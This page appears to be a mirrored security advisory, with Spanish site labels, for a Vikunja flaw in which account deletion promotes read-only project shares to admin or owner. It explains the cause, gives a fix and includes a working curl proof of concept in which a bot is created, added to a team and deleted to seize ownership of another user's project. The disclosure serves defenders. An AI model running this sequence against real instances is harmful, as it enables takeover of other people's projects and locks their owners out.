GHSA-HQ66-9QG8-JWQG
Account deletion escalates read-only shares to project admin or owner
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HQ66-9QG8-JWQG divulgada · CVSS 7.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
When an account is deleted, Vikunja makes sure its projects keep an admin. It does this for every project the account could see, not only the ones it owned, and it ignores the real owner. On a project with no admin share it promotes a share to admin. If every user share is read-only, it also makes that user the owner.
Any user can trigger this on purpose by creating a bot, adding it to a team they run, and deleting it. A read-only share with that team becomes admin. If the attacker also has a direct read-only share, they become the owner and can lock the real owner out. It also happens by accident whenever a collaborator's account is deleted. No attacker is needed for that case: a read-only sharee who deletes their own account gets their own share promoted, and `owner_id` is set to the deleted account's id, locking the real owner out.
Details
`getProjectsToDelete` loads projects with `getAllProjectsForUser` at `pkg/models/user_delete.go:96`, so it gets every project the account can read, including ones that were only shared with it. Nothing checks `OwnerID`. `ensureProjectAdminUser` at line 205 then queries shares by `project_id` only (line 207) and promotes the first write share to admin. If there is no write share, it promotes the first share of any level and moves ownership to that user:
// pkg/models/user_delete.go:233
firstUser := projectUsers[0]
firstUser.Permission = PermissionAdmin
...
// :242
_, err = s.Where("id = ?", l.ID).
Cols("owner_id").
Update(&Project{OwnerID: firstUser.UserID})When there are no user shares, `ensureProjectAdminTeam` at line 252 does the same for team shares, without the owner change. Owners have no share row, so any project with only non-admin shares looks like it has no admin. `DeleteUser` also leaves the deleted account's own rows in `users_projects` (lines 166-178), so the share it promotes can be its own. Nothing sends a notification.
`DeleteUser` runs immediately when a bot is deleted through `DELETE /api/v2/user/bots/{id}`, and when an admin deletes a user with `mode=now` or `vikunja user delete --now`. Self-service deletions reach it through the hourly cron, three days after the user confirms.
Proof of concept
Bob runs a team that Alice is in. Alice can only share with a team she can see, so she needs to be a member, or the team needs to be public with public teams turned on. Alice shares a project read-only with the team and with Bob directly.
API=https://vikunja.example/api/v2
call() { tok=$1 method=$2 path=$3; shift 3; curl -s -X "$method" -H "Authorization: Bearer $tok" -H 'Content-Type: application/json' "$API$path" "$@"; }
T=$(call $BOB POST /teams -d '{"name":"Contractors"}' | jq .id)
call $BOB POST /teams/$T/members -d '{"username":"alice"}'
P=$(call $ALICE POST /projects -d '{"title":"Alice roadmap"}' | jq .id)
call $ALICE POST /projects/$P/users -d '{"username":"bob","permission":0}'
call $ALICE POST /projects/$P/teams -d "{\"team_id\":$T,\"permission\":0}"
call $BOB GET /projects/$P | jq '{owner: .owner.username, max_permission}' # alice, 0
# Bob creates a bot, adds it to the team, deletes it
BOT=$(call $BOB POST /user/bots -d '{"username":"bot-x","name":"x"}' | jq .id)
call $BOB POST /teams/$T/members -d '{"username":"bot-x"}'
call $BOB DELETE /user/bots/$BOT
call $BOB GET /projects/$P | jq '{owner: .owner.username, max_permission}' # bob, 2
# Alice's only access is now through Bob's team
call $BOB DELETE /teams/$T/members/alice
call $ALICE GET /projects/$P -o /dev/null -w '%{http_code}\n' # 403If Alice only shared with the team, the team share becomes admin instead and Bob can delete her project. For the accidental case, Alice shares a project read-only with Carol and Carol's account is deleted. Carol's own share is promoted and she becomes the owner just before her account is removed. Alice then gets a 403 on her own project.
Impact
Anyone who runs a team can get admin rights on projects shared with that team, even read-only ones, and edit or delete them. With a direct share as well, they can take ownership and lock the owner out. Separately, any account deletion can move ownership of projects that were shared with that account, sometimes to the deleted account itself, and nobody is told. Recovery needs an instance admin, either with `PATCH /api/v2/admin/projects/{id}/owner` on a licensed instance or with a database edit.
The promotion dates back to v0.18.0. The owner change came in v1.0.0 and bots in v2.4.0. Before bots, an attacker needed a second account to go through the three-day self-deletion.
Fix
Scope the ensure/promote loop to projects with `owner_id == u.ID`. This closes both the user and the team branch. Separately, delete the user's leftover share rows on account deletion. Skipping bots is hardening only and doesn't fix the self-deletion case.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gocode.vikunja.io/api |
Sin parche | — | — | v0.24.6 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/go-vikunja/vikunja/security/advisories/GHSA-hq66-9qg8-jwqgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
